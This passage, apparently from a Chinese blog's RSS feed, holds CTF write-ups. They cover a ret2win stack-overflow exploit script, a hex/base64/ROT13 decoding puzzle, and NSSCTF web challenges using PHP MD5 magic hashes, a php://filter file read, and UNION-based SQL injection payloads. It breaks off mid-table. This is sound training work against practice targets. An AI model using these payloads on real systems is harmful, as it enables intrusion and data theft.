&lt;p&gt;&lt;code&gt;win&lt;/code&gt;函数就是我们想要跳转过去的目标函数&lt;/p&gt;
&lt;p&gt;4‍⃣&lt;strong&gt;分析&lt;code&gt;vuln&lt;/code&gt;函数&lt;/strong&gt;
使用 &lt;code&gt;objdump&lt;/code&gt; 反汇编：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;objdump -d -M intel ret2win
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到&lt;code&gt;vuln&lt;/code&gt;函数：
&lt;img src=&quot;26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;sub rsp,0x40
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明程序在栈上开辟了&lt;code&gt;0x40&lt;/code&gt;字节空间
&lt;code&gt;0x40&lt;/code&gt;换成十进制为&lt;code&gt;64&lt;/code&gt;，也就是说：局部变量缓冲区大小为64字节&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;mov esi,0xc8
call fgets
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;0xc8&lt;/code&gt;换成十进制为&lt;code&gt;200&lt;/code&gt;：说明程序用&lt;code&gt;fgets&lt;/code&gt;最多读取200字节输入&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;缓冲区只有64字节，但程序允许输入200字节
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就造成了栈溢出&lt;/p&gt;
&lt;p&gt;5‍⃣&lt;strong&gt;计算偏移量&lt;/strong&gt;
64 位程序中，函数栈结构大概如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;低地址
[ buffer 64 字节 ]
[ saved rbp 8 字节 ]
[ return address 8 字节 ]
高地址
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序的&lt;code&gt;buffer&lt;/code&gt;位于：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[rbp-0x40]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以&lt;code&gt;buffer&lt;/code&gt;到返回地址之间需要填充：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;64 字节 buffer + 8 字节 saved rbp = 72 字节
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此返回地址偏移量是：&lt;code&gt;72&lt;/code&gt;;
&lt;code&gt;payload&lt;/code&gt;结构为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;A&quot; * 72 + win函数地址
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;6‍⃣&lt;strong&gt;构造&lt;code&gt;payload&lt;/code&gt;&lt;/strong&gt;
前面通过 nm 得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;win = 0x4011b1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于 &lt;code&gt;x86-64&lt;/code&gt;使用小端序，所以地址 &lt;code&gt;0x4011b1&lt;/code&gt;写入内存时应为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b1 11 40 00 00 00 00 00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以用 &lt;code&gt;Python&lt;/code&gt; 的 &lt;code&gt;struct.pack&lt;/code&gt; 来处理：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct.pack(&quot;&amp;lt;Q&quot;, 0x4011b1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt; 表示小端序
Q 表示 8 字节无符号整数
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终 &lt;code&gt;exp&lt;/code&gt; 如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import sys
import struct

payload = b&quot;A&quot; * 72
payload += struct.pack(&quot;&amp;lt;Q&quot;, 0x4011b1)

sys.stdout.buffer.write(payload + b&quot;\n&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 exp.py | ./ret2win
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;7‍⃣&lt;strong&gt;获取&lt;code&gt;flag&lt;/code&gt;&lt;/strong&gt;
执行后程序成功跳转到 &lt;code&gt;win&lt;/code&gt; 函数，输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Access Granted!
Flag: SecLeaf{sm4sh_th3_st4ck}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8‍⃣&lt;strong&gt;总结：&lt;/strong&gt;
整体思路：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;查看文件类型
        ↓
发现是 64 位 ELF
        ↓
strings 发现 Access Granted 和 Flag 字符串
        ↓
nm 找到 win 函数地址
        ↓
objdump 分析 vuln 函数
        ↓
发现 buffer 只有 64 字节，但 fgets 读取 200 字节
        ↓
计算偏移：64 + 8 = 72
        ↓
构造 payload：72 字节填充 + win 地址
        ↓
覆盖返回地址，跳转到 win
        ↓
获得 flag
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;&lt;code&gt;Cryptography&lt;/code&gt;&lt;/h1&gt;
&lt;h2&gt;1.&lt;code&gt;Double Trouble&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;We intercepted a suspicious encoded transmission during routine monitoring.

Analysts believe the message was processed through multiple transformation layers before being transmitted.

Can you recover the original message?

我们在例行监控中截获了一条可疑的加密传输信息。

分析人员认为，该信息在传输前经过了多层转换处理。

您能恢复原始信息吗？
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;附件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;526e4a7757584a756333737759544e66655452734d325666616a526d5957
64664d3245776148523166513d3d0a
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;1‍⃣ &lt;strong&gt;判断第一层编码&lt;/strong&gt;
由于附件内容仅含：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0-9
a-f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;且长度为&lt;strong&gt;偶数&lt;/strong&gt;，所以可以判断它像&lt;strong&gt;十六进制编码&lt;/strong&gt;
使用&lt;code&gt;xxd&lt;/code&gt;解码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat encrypted.txt | tr -d &apos;\n&apos; | xxd -r -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行后得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RnJwWXJuc3swYTNfeTRsM2VfajRmYWdfM2EwaHR1fQ==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2‍⃣ &lt;strong&gt;判断第二层编码：&lt;/strong&gt;
第二层很轻易地判断出为&lt;code&gt;base64&lt;/code&gt;，所以继续解码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat encrypted.txt | tr -d &apos;\n&apos; | xxd -r -p | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FrpYrns{0a3_y4l3e_j4fag_3a0htu}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为得到的结果开头不是&lt;code&gt;SecLeaf&lt;/code&gt;，所以还要进行解码&lt;/p&gt;
&lt;p&gt;3‍⃣ &lt;strong&gt;第三层解码&lt;/strong&gt;
试着对第三层的开头简单的替换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;F -&amp;gt; S
r -&amp;gt; e
p -&amp;gt; c
Y -&amp;gt; L
r -&amp;gt; e
n -&amp;gt; a
s -&amp;gt; f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;推测替换规则为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;A ↔ N
B ↔ O
C ↔ P
...
a ↔ n
b ↔ o
c ↔ p
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后面查&lt;code&gt;AI&lt;/code&gt;，为&lt;code&gt;ROT13&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat encrypted.txt | tr -d &apos;\n&apos; | xxd -r -p | base64 -d | tr &apos;A-Za-z&apos; &apos;N-ZA-Mn-za-m&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SecLeaf{0n3_l4y3r_w4snt_3n0ugh}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;碎碎念&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;这场比赛应该是我参加的第一场有效比赛。为什么是有效呢？因为之前也参加过几场&lt;code&gt;CTF&lt;/code&gt;比赛，但那时一是在寒假（我游戏瘾最大的一段时间），二是那时还停留在&lt;code&gt;DeepSeek&lt;/code&gt;（也没有说&lt;code&gt;ds&lt;/code&gt;不好用的意思），参与度就仅限于报名了。&lt;/li&gt;
&lt;li&gt;报名这场比赛时我只是想着给我的周末“找事干”，同时还没有用&lt;code&gt;GPT&lt;/code&gt;打过比赛，另外还有在过去大半年也断断续续学了点（真的只有一点），想着检测一下学习成果。有点不好意思的是，比赛刚开始时除了签到题我是自己做的外，其他题目都是直接用&lt;code&gt;AI&lt;/code&gt;梭（虽然这后来看了下其中很多题也差不多属于签到题，连我这样的水平也能一眼看到解题思路）。“二战转折点”在&lt;code&gt;Can_you_Find_Cafe&lt;/code&gt;出来后，我已经从最开始打比赛时追求排名的激情转向了“得把梭出来的题自己做一遍”，于是就尝试了一下那道社工题。
&lt;img src=&quot;12.png&quot; alt=&quot;&quot; /&gt;
（这是我们队成绩最好的一次了）&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>乱七八糟的WP</title><link>https://clairis.cn/posts/04nss/4%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F%E7%9A%84wp/</link><guid isPermaLink="true">https://clairis.cn/posts/04nss/4%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F%E7%9A%84wp/</guid><pubDate>Fri, 15 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;&lt;code&gt;Misc&lt;/code&gt;&lt;/h1&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/4207&quot;&gt;[SEETF 2023]1337 Word Search - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;先看题目描述：&lt;strong&gt;这是一个大型的字谜游戏。在网格中找到隐藏的&lt;code&gt;flag&lt;/code&gt;，可以在八个方向中的任何一个方向（水平、垂直或对角线）找到。&lt;/strong&gt;——可以猜测是一道单词搜索题&lt;/li&gt;
&lt;li&gt;再看附件：文件解压后看见一大堆乱字符，于是我们看：
&lt;ul&gt;
&lt;li&gt;有没有图片？——没有，所以不是图片隐写&lt;/li&gt;
&lt;li&gt;有没有压缩包？——没有，所以不是压缩密码&lt;/li&gt;
&lt;li&gt;是不是编码？不像，因为没有规律且有&lt;code&gt;{}&lt;/code&gt;与&lt;code&gt;_&lt;/code&gt;，不像&lt;code&gt;base64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;同时也结合题目强调的&lt;code&gt;grid&lt;/code&gt;（网格），说明：这些字符不是一整串，而应该按照二维矩阵理解&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;而&lt;code&gt;flag&lt;/code&gt;格式给了：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;SEE{}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;所以核心思路就是：
&lt;ol&gt;
&lt;li&gt;把整个文本按照“矩阵”处理&lt;/li&gt;
&lt;li&gt;从所有 &lt;code&gt;S&lt;/code&gt; 开始搜索&lt;/li&gt;
&lt;li&gt;朝 8 个方向尝试读取字符串&lt;/li&gt;
&lt;li&gt;找到完整 &lt;code&gt;SEE{...}&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;EXP&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dirs = [
    (0,1),   # →
    (0,-1),  # ←
    (1,0),   # ↓
    (-1,0),  # ↑
    (1,1),   # ↘
    (-1,-1), # ↖
    (1,-1),  # ↙
    (-1,1)   # ↗
]

with open(&quot;wordsearch1.txt&quot;,&quot;r&quot;,encoding=&quot;utf-8&quot;) as f:
    grid = [line.strip() for line in f if line.strip()]

n = len(grid)
m = len(grid[0])

for i in range(n):
    for j in range(m):

        if grid[i][j] != &apos;S&apos;:
            continue

        for dx,dy in dirs:

            s = &quot;&quot;
            x,y = i,j

            for _ in range(100):

                if not (0 &amp;lt;= x &amp;lt; n and 0 &amp;lt;= y &amp;lt; m):
                    break

                s += grid[x][y]

                if s.startswith(&quot;SEE{&quot;) and s.endswith(&quot;}&quot;):
                    print(s)

                x += dx
                y += dy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行脚本后得到&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SEE{you_found_me_now_try_the_1337er_one}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;&lt;code&gt;Web&lt;/code&gt;&lt;/h1&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/3861&quot;&gt;[LitCTF 2023]我Flag呢？ - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;打开网站发现没有可交互的点，于是&lt;code&gt;F12&lt;/code&gt;控制台审查元素&lt;/li&gt;
&lt;li&gt;打开控制台后看到： &lt;img src=&quot;img-007.png&quot; alt=&quot;&quot; /&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;控制台（Console）&lt;/strong&gt; 会输出页面资源报错信息/&lt;code&gt;js&lt;/code&gt;的执行信息，同时也可以在这个交互式终端中执行&lt;code&gt;js&lt;/code&gt;指令&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;彩蛋提示运行&lt;code&gt;giveMeEgg()&lt;/code&gt;函数即可拿到彩蛋，所以：  &lt;img src=&quot;img-002.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;但提交后发现不对😭,&lt;code&gt;CTRL+U&lt;/code&gt;查看源码，&lt;code&gt;CTRL+F&lt;/code&gt;进行搜索&lt;code&gt;flag&lt;/code&gt;，在最下面的注释找到&lt;code&gt;flag&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/3863&quot;&gt;[LitCTF 2023]导弹迷踪 - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;这是一个小游戏，而针对这种逻辑是基于&lt;code&gt;js&lt;/code&gt;的页面游戏，要么采用按照题目要求玩到第六关得到&lt;code&gt;flag&lt;/code&gt;，要么就修改或者查看源码寻找&lt;code&gt;flag&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;F12&lt;/code&gt;查看源码，在搜索框搜索&lt;code&gt;&quot;level&quot;&lt;/code&gt;，找到&lt;code&gt;flag&lt;/code&gt;  &lt;img src=&quot;img-003.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/3862&quot;&gt;[LitCTF 2023]就当无事发生 - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;题目提示：“差点数据没脱敏就发出去了”，同时结合博客网址于是去&lt;code&gt;Github&lt;/code&gt;上搜索&lt;code&gt;ProbiusOfficial&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;出现两条结果，查看后博客的源码应该在第二个  &lt;img src=&quot;img-008.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进入仓库后找到&lt;code&gt;Commits&lt;/code&gt;（提交记录），因为在题目的版本数据中找到题目的上传时间为&lt;code&gt;2023-05-02&lt;/code&gt;，于是将仓库的查询时间改为&lt;code&gt;5&lt;/code&gt;月&lt;code&gt;2&lt;/code&gt;日之前。  &lt;img src=&quot;img-004.png&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;img-005.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;从查询结果我们发现，&lt;code&gt;4&lt;/code&gt;月&lt;code&gt;29&lt;/code&gt;日有两个提交记录，点进后一个提交记录可以看见修改  &lt;img src=&quot;img-009.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/3864&quot;&gt;[LitCTF 2023]Follow me and hack me - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用&lt;code&gt;HackBar&lt;/code&gt;插件来在浏览器里面进行发送/接收&lt;code&gt;http&lt;/code&gt;报文  &lt;img src=&quot;img-006.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/386&quot;&gt;[SWPUCTF 2021 新生赛]easy_md5 - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;看代码&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt; if ($name != $password &amp;amp;&amp;amp; md5($name) == md5($password)) {
        echo $flag;
} else {
        echo &quot;wrong!&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码的要求：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;name&lt;/code&gt;与&lt;code&gt;password&lt;/code&gt;不能一样，但二者的&lt;code&gt;md5&lt;/code&gt;结果要相等
但这时我们注意到&lt;code&gt;PHP&lt;/code&gt;用的是弱比较而不是严格比较&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;利用&lt;code&gt;magic hash&lt;/code&gt;
&lt;code&gt;PHP&lt;/code&gt;里如果长这样：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;0e123456789
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会被当成科学计数法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0 * 10^123456789 = 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以在&lt;code&gt;PHP&lt;/code&gt;弱比较里：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;0e12345&quot; == &quot;0e67890&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;的结果为&lt;code&gt;true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;而有一些字符串的 md5 值刚好是 &lt;code&gt;0e&lt;/code&gt; 开头，而且后面全是数字，这种就叫 &lt;code&gt;magic hash&lt;/code&gt;。常见的一组是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;QNKCDZO -&amp;gt; 0e830400451993494058024219903391
240610708 -&amp;gt; 0e462097431906509019562988736854
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-001.png&quot; alt=&quot;&quot; /&gt;
得到&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NSSCTF{6ee63399-6c66-42f3-9216-2980f9982e38}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常见 &lt;code&gt;MD5 magic hash&lt;/code&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;原文&lt;/th&gt;
&lt;th&gt;MD5&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;QNKCDZO&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0e830400451993494058024219903391&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;240610708&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0e462097431906509019562988736854&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;s878926199a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0e545993274517709034328855841020&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;s155964671a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0e342768416822451524974117254469&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;s214587387a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0e848240448830537924465865611904&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;s1091221200a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0e940624217856561557816327384675&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/427&quot;&gt;[SWPUCTF 2021 新生赛]include - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;打开环境提示“传入一个&lt;code&gt;file&lt;/code&gt;试试”，所以试着&lt;code&gt;/?file=flag&lt;/code&gt;，然后得到源码&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
ini_set(&quot;allow_url_include&quot;,&quot;on&quot;);
header(&quot;Content-type: text/html; charset=utf-8&quot;);
error_reporting(0);
$file=$_GET[&apos;file&apos;];
if(isset($file)){
    show_source(__FILE__);
    echo &apos;flag 在flag.php&apos;;
}else{
    echo &quot;传入一个file试试&quot;;
}
echo &quot;&amp;lt;/br&amp;gt;&quot;;
echo &quot;&amp;lt;/br&amp;gt;&quot;;
echo &quot;&amp;lt;/br&amp;gt;&quot;;
echo &quot;&amp;lt;/br&amp;gt;&quot;;
echo &quot;&amp;lt;/br&amp;gt;&quot;;
include_once($file);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着又尝试&lt;code&gt;/?file=flag.php&lt;/code&gt;，页面并没有变化&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在源码的最后一行看到：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;include_once($file);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有&lt;code&gt;include_once&lt;/code&gt;函数，即它会执行&lt;code&gt;flag.php&lt;/code&gt;但并不会显示出来&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;include_once&lt;/code&gt; 表示在脚本执行期间包含并运行指定文件。此行为和 &lt;a href=&quot;https://www.php.net/manual/zh/function.include.php&quot;&gt;include&lt;/a&gt; 类似，唯一区别是如果该文件中已经被包含过，则不会再次包含，且 &lt;code&gt;include_once&lt;/code&gt; 会返回 &lt;code&gt;true&lt;/code&gt;。顾名思义，&lt;code&gt;require_once&lt;/code&gt;，文件仅仅包含（require）一次。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;所以要用&lt;code&gt;php://filter&lt;/code&gt;将&lt;code&gt;flag.php&lt;/code&gt;读取出来&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;?file=php://filter/read=convert.base64-encode/resource=flag.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;意思是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;使用 PHP 的 filter 伪协议，
在读取 flag.php 的时候，
把 flag.php 的内容进行 Base64 编码，然后输出编码后的结果。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到的&lt;code&gt;Base64&lt;/code&gt;再转换成&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;a href=&quot;https://www.nssctf.cn/problem/387&quot;&gt;[SWPUCTF 2021 新生赛]easy_sql - NSSCTF&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;1‍⃣ &lt;strong&gt;传参&lt;/strong&gt;
打开环境，结合“球球你输入点东西吧！”与标签页的“参数是&lt;code&gt;wllm&lt;/code&gt;”，于是输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?/wllm=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-010.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;2‍⃣ &lt;strong&gt;判断字段数：&lt;code&gt;order by&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?wllm=1&apos; order by 1 --+
/?wllm=1&apos; order by 2 --+
/?wllm=1&apos; order by 3 --+
/?wllm=1&apos; order by 4 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当&lt;code&gt;order by 4&lt;/code&gt;时，产生报错，说明字段数是&lt;code&gt;3&lt;/code&gt;
&lt;img src=&quot;img-011.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;3‍⃣ &lt;strong&gt;查看回显点：&lt;code&gt;union select 1,2,3&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;回显点：
&lt;code&gt;union select 1,2,3 里面，哪个数字会显示在网页上&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;/?wllm=-1&apos; union select 1,2,3 -- &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-012.png&quot; alt=&quot;&quot; /&gt;
所以要想查询数据库名就可以把&lt;code&gt;database()&lt;/code&gt;放到第二位或者第三位&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?/wllm=-1&apos; union select 1,database(),3 --+
?/wllm=-1&apos; union select 1,2,database() --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;为什么用&lt;code&gt;-1&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;因为用&lt;code&gt;?wllm=1&lt;/code&gt;可能会查到正常数据&lt;/li&gt;
&lt;li&gt;用&lt;code&gt;?wllm=-1&lt;/code&gt;是为了先让网站原本的数据消失，再让它显示我们想查的数据&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;4‍⃣ &lt;strong&gt;查询数据库信息：&lt;code&gt;@@version&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?wllm=-1&apos; union select 1,2,@@version -- &apos;
/?wllm=-1&apos; union select 1,@@version,3 -- &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-013.png&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;img-014.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;@@version&lt;/code&gt;：是&lt;code&gt;MySQL / MariaDB&lt;/code&gt;里的系统变量，用来显示数据库版本
这一步的作用：确认数据库类型和版本
如果是&lt;code&gt;MySQL/MariaDB&lt;/code&gt;，就可以使用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;information_schema
database()
user()
group_concat()
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;th&gt;一般什么时候用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;database()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查当前数据库名&lt;/td&gt;
&lt;td&gt;早期，确定当前库&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;user()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查当前数据库用户&lt;/td&gt;
&lt;td&gt;可选，了解权限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;information_schema.tables&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查表名&lt;/td&gt;
&lt;td&gt;知道数据库后&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;information_schema.columns&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查列名&lt;/td&gt;
&lt;td&gt;知道表名后&lt;/td&gt;
&lt;/tr&gt;
